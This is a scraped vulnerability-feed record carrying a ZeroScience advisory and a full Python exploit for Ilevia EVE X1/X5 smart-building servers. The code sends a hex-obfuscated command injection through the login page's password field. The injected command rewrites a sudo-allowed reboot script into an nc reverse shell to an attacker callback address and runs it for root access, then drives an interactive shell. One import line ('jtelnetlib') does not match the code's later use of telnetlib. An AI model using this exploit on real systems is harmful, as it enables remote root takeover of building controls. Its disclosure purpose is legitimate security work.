{“lastseen”:”2025-09-05T16:14:17″,”description”:”Title: Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell Advisory ID: ZSL-2025-5959…”,”published”:”2025-09-05T00:00:00″,”modified”:”2025-09-05T00:00:00″,”type”:”zeroscience”,”title”:”Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell”,”source”:””,”references”:””,”id”:”ZSL-2025-5959″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e#!\/usr\/bin\/env python\\r\\n#\\r\\n#\\r\\n# Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell\\r\\n#\\r\\n#\\r\\n# Vendor: Ilevia Srl.\\r\\n# Product web page: https:\/\/www.ilevia.com\\r\\n# Affected version: \\u0026lt;= 4.7.18.0.eden (Logic ver: 6.00)\\r\\n#\\r\\n# Summary: EVE is a smart home and building automation solution designed\\r\\n# for both residential and commercial environments, including malls, hotels,\\r\\n# restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive\\r\\n# control and monitoring of electrical installations through a highly customizable,\\r\\n# user-friendly interface.\\r\\n#\\r\\n# EVE is a multi-protocol platform that integrates various systems within\\r\\n# a smart building to enhance comfort, security, safety, and energy efficiency.\\r\\n# Users can manage building functions via iPhone, iPad, Android devices, Windows\\r\\n# PCs, or Mac computers.\\r\\n#\\r\\n# The EVE X1 Server is the dedicated hardware solution for advanced building\\r\\n# automation needs. Compact and powerful, it is ideal for apartments, small\\r\\n# to medium-sized homes, and smaller commercial installations. It is designed\\r\\n# to manage entire automation systems reliably and efficiently.\\r\\n#\\r\\n# Desc: A misconfiguration in the sudoers file permits passwordless execution\\r\\n# of specific Bash shell scripts via sudo, exposing a critical privilege escalation\\r\\n# vulnerability. When such scripts are writable by a web-facing user (www-data) or\\r\\n# accessible through a command injection vector, an attacker can overwrite or replace\\r\\n# them with malicious payloads. Upon execution with sudo, these scripts run with\\r\\n# elevated privileges, allowing the attacker to gain full root access remotely.\\r\\n#\\r\\n# ——————————————————————————\\r\\n# $ python rewteve.py 10.0.0.18:8080 10.0.0.4 5555\\r\\n# [+] Cyber-link active on 0.0.0.0:5555…\\r\\n# [*] Firing at http:\/\/10.0.0.18:8080\/ajax\/php\/login.php\\r\\n# [+] Pulse from 10.0.0.18:46444\\r\\n# [*] Probing matrix with ‘pwd’ signal…\\r\\n# [+] Verifistring: \/home\/ilevia\/www-config\/http\/ajax\/php\\r\\n# [*] Synaptic intrusion confirmed, escalating to holo-shell…\\r\\n# # id\\r\\n# uid=0(root) gid=0(root) groups=0(root)\\r\\n# # exit\\r\\n# [+] ilevia_reboot restored.\\r\\n# ——————————————————————————\\r\\n#\\r\\n# Tested on: GNU\/Linux 5.4.35 (armv7l)\\r\\n# GNU\/Linux 4.19.97 (armv7l)\\r\\n# Armbian 20.02.1 Buster\\r\\n# Apache\/2.4.38 (Debian)\\r\\n# PHP Version 7.3.14\\r\\n#\\r\\n#\\r\\n# Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\r\\n# @zeroscience\\r\\n#\\r\\n#\\r\\n# Advisory ID: ZSL-2025-5959\\r\\n# Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5959.php\\r\\n#\\r\\n#\\r\\n# 01.05.2024\\r\\n#\\r\\n\\r\\nimport jtelnetlib # ._\\r\\nimport threading # ._\\r\\nimport requests # ._\\r\\nimport socket # ._\\r\\nimport time # ._\\r\\nimport sys # ._\\r\\n\\r\\ndef init_quantum(target_data):\\r\\n if \\”http:\/\/\\” not in target_data and \\”https:\/\/\\” not in target_data:\\r\\n target_data = \\”http:\/\/\\” + target_data\\r\\n if \\”:\\” not in target_data.split(\\”\/\/\\”)[1]:\\r\\n target_data = target_data.rstrip(\\”\/\\”) + \\”:80\\”\\r\\n return target_data.rstrip(\\”\/\\”)\\r\\n\\r\\ndef spark_neuroport(cyber_gate):\\r\\n def neuro_core():\\r\\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\r\\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\r\\n s.bind((\\”0.0.0.0\\”, cyber_gate))\\r\\n s.listen(1)\\r\\n print(f\\”[+] Cyber-link active on 0.0.0.0:{cyber_gate}…\\”)\\r\\n conn, addr = s.accept()\\r\\n print(f\\”[+] Pulse from {addr[0]}:{addr[1]}\\”)\\r\\n holo_term = telnetlib.Telnet()\\r\\n holo_term.sock = conn\\r\\n\\r\\n print(\\”[*] Probing matrix with ‘pwd’ signal…\\”)\\r\\n conn.sendall(b\\”pwd\\\\n\\”)\\r\\n time.sleep(0.5)\\r\\n try:\\r\\n data_stream = conn.recv(4096).decode(errors=’ignore’)\\r\\n data_nodes = data_stream.splitlines()\\r\\n if data_nodes and data_nodes[0].strip() == \\”pwd\\”:\\r\\n data_nodes.pop(0)\\r\\n output = \\”\\\\n\\”.join(data_nodes).strip()\\r\\n print(\\”[+] Verifistring:\\”, output)\\r\\n if ‘ilevia\/www-config’ in output:\\r\\n print(\\”[*] Synaptic intrusion confirmed, escalating to holo-shell…\\”)\\r\\n conn.sendall(b\\”script \/dev\/null -c \/bin\/sh\\\\n\\”)\\r\\n time.sleep(0.5)\\r\\n try:\\r\\n _ = conn.recv(4096)\\r\\n except:\\r\\n pass\\r\\n else:\\r\\n print(\\”[!] Expected neural path not detected. Holo-shell may be unstable.\\”)\\r\\n except Exception as e:\\r\\n print(f\\”[!] Error in synaptic probe: {e}\\”)\\r\\n\\r\\n import select\\r\\n\\r\\n while True:\\r\\n try:\\r\\n cmd = input(\\”# \\”).strip()\\r\\n if cmd == \\”exit\\”:\\r\\n conn.sendall(b\\”\\\\x72\\\\x6d\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\”\\r\\n b\\”\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\”\\r\\n b\\”\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\”\\r\\n b\\”\\\\x3b\\\\x6d\\\\x76\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\”\\r\\n b\\”\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\”\\r\\n b\\”\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\”\\r\\n b\\”\\\\x74\\\\x2e\\\\x6f\\\\x6c\\\\x64\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\”\\r\\n b\\”\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\”\\r\\n b\\”\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\”\\r\\n b\\”\\\\x6f\\\\x6f\\\\x74\\\\x0a\\”)\\r\\n print(\\”[+] ilevia_reboot restored.\\”)\\r\\n break\\r\\n if not cmd:\\r\\n continue\\r\\n conn.sendall((cmd + \\”\\\\n\\”).encode())\\r\\n response = b\\”\\”\\r\\n conn.setblocking(0)\\r\\n end_time = time.time() + 0.5 # max 1.5, collect output\\r\\n while time.time() \\u0026lt; end_time:\\r\\n ready = select.select([conn], [], [], 0.1)\\r\\n if ready[0]:\\r\\n try:\\r\\n chunk = conn.recv(8160)\\r\\n if not chunk:\\r\\n break\\r\\n response += chunk\\r\\n except:\\r\\n break\\r\\n else:\\r\\n time.sleep(0.1)\\r\\n conn.setblocking(1)\\r\\n data_stream = response.decode(errors=’ignore’)\\r\\n data_nodes = data_stream.splitlines()\\r\\n clean_output = []\\r\\n for line in data_nodes:\\r\\n if line.strip() == cmd:\\r\\n continue\\r\\n if line.strip() in [\\”$\\”, \\”#\\”]:\\r\\n continue\\r\\n clean_output.append(line)\\r\\n if clean_output:\\r\\n print(\\”\\\\n\\”.join(clean_output).strip())\\r\\n except Exception:\\r\\n print(\\”[!] Neural link terminated.\\”)\\r\\n break\\r\\n conn.close()\\r\\n\\r\\n cyber_thread = threading.Thread(target=neuro_core)\\r\\n cyber_thread.start()\\r\\n return cyber_thread\\r\\n\\r\\ndef fire_photon(target_matrix, cyber_origin, cyber_gate):\\r\\n print(f\\”[*] Firing at {target_matrix}\\”)\\r\\n payload = (b\\”\\\\x3b\\\\x63\\\\x70\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\”\\r\\n b\\”\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\”\\r\\n b\\”\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\”\\r\\n b\\”\\\\x74\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\”\\r\\n b\\”\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\”\\r\\n b\\”\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\\\x2e\\”\\r\\n b\\”\\\\x6f\\\\x6c\\\\x64\\\\x3b\\\\x65\\\\x63\\\\x68\\\\x6f\\\\x20\\\\x22\\\\x6d\\\\x6b\\\\x6e\\\\x6f\\\\x64\\\\x20\\”\\r\\n b\\”\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x70\\\\x69\\\\x70\\\\x65\\\\x20\\\\x70\\\\x3b\\\\x20\\\\x2f\\\\x62\\\\x69\\”\\r\\n b\\”\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x20\\\\x3c\\\\x20\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x70\\”\\r\\n b\\”\\\\x69\\\\x70\\\\x65\\\\x20\\\\x7c\\\\x20\\\\x6e\\\\x63\\\\x20\\” +# \\\\xn#\\” #####\\r\\n f\\”{cyber_origin}\\”.encode() +# \\\\x1#\\” #\\r\\n b\\”\\\\x20\\” +# :): \\\\xn#\\” #\\r\\n f\\”{cyber_gate}\\”.encode() +# \\\\xa#\\” #####\\r\\n b\\”\\\\x20\\\\x3e\\\\x20\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x70\\\\x69\\\\x70\\\\x65\\\\x22\\\\x20\\\\x3e\\\\x20\\”\\r\\n b\\”\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\”\\r\\n b\\”\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\”\\r\\n b\\”\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\\\x3b\\\\x63\\\\x68\\”\\r\\n b\\”\\\\x6d\\\\x6f\\\\x64\\\\x20\\\\x2b\\\\x78\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\”\\r\\n b\\”\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\”\\r\\n b\\”\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\”\\r\\n b\\”\\\\x62\\\\x6f\\\\x6f\\\\x74\\\\x3b\\\\x73\\\\x75\\\\x64\\\\x6f\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\”\\r\\n b\\”\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\”\\r\\n b\\”\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\”\\r\\n b\\”\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\”)\\r\\n try:\\r\\n requests.post(target_matrix, data={\\”userid\\”:\\”inas\\”,\\”passwd\\”:payload}, timeout=3)\\r\\n print(\\”[*] Photon fired.\\”)\\r\\n except requests.exceptions.ReadTimeout:\\r\\n pass\\r\\n except requests.exceptions.RequestException as e:\\r\\n print(f\\”[!] Photon failed: {e}\\”)\\r\\n\\r\\ndef boot_sequence():\\r\\n if len(sys.argv) != 4:\\r\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_ip\\u003e \\u003ccallback_ip\\u003e \\u003ccallback_gate\\u003e\\”)\\r\\n print(\\”Example: python eve.py 1.2.3.4:8080 5.6.7.8 5555\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n target_data = sys.argv[1]\\r\\n cyber_origin = sys.argv[2]\\r\\n try:\\r\\n cyber_gate = int(sys.argv[3])\\r\\n except ValueError:\\r\\n print(\\”[!] Cyber gate must be numeric.\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n target_matrix = init_quantum(target_data) + \\”\/ajax\/php\/login.php\\”\\r\\n neuro_thread = spark_neuroport(cyber_gate)\\r\\n time.sleep(1)\\r\\n fire_photon(target_matrix, cyber_origin, cyber_gate)\\r\\n neuro_thread.join()\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n boot_sequence()\\u003c\/callback_gate\\u003e\\u003c\/callback_ip\\u003e\\u003c\/target_ip\\u003e\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”http:\/\/zeroscience.mk\/codes\/ilevia_root.txt”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5959.php”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-05T16:14:17″,”description”:”Title: Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell Advisory ID: ZSL-2025-5959…”,”published”:”2025-09-05T00:00:00″,”modified”:”2025-09-05T00:00:00″,”type”:”zeroscience”,”title”:”Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell”,”source”:””,”references”:””,”id”:”ZSL-2025-5959″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e#!\/usr\/bin\/env python\\r\\n#\\r\\n#\\r\\n# Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell\\r\\n#\\r\\n#\\r\\n#…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,7,11,5,107],"class_list":["post-16083","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n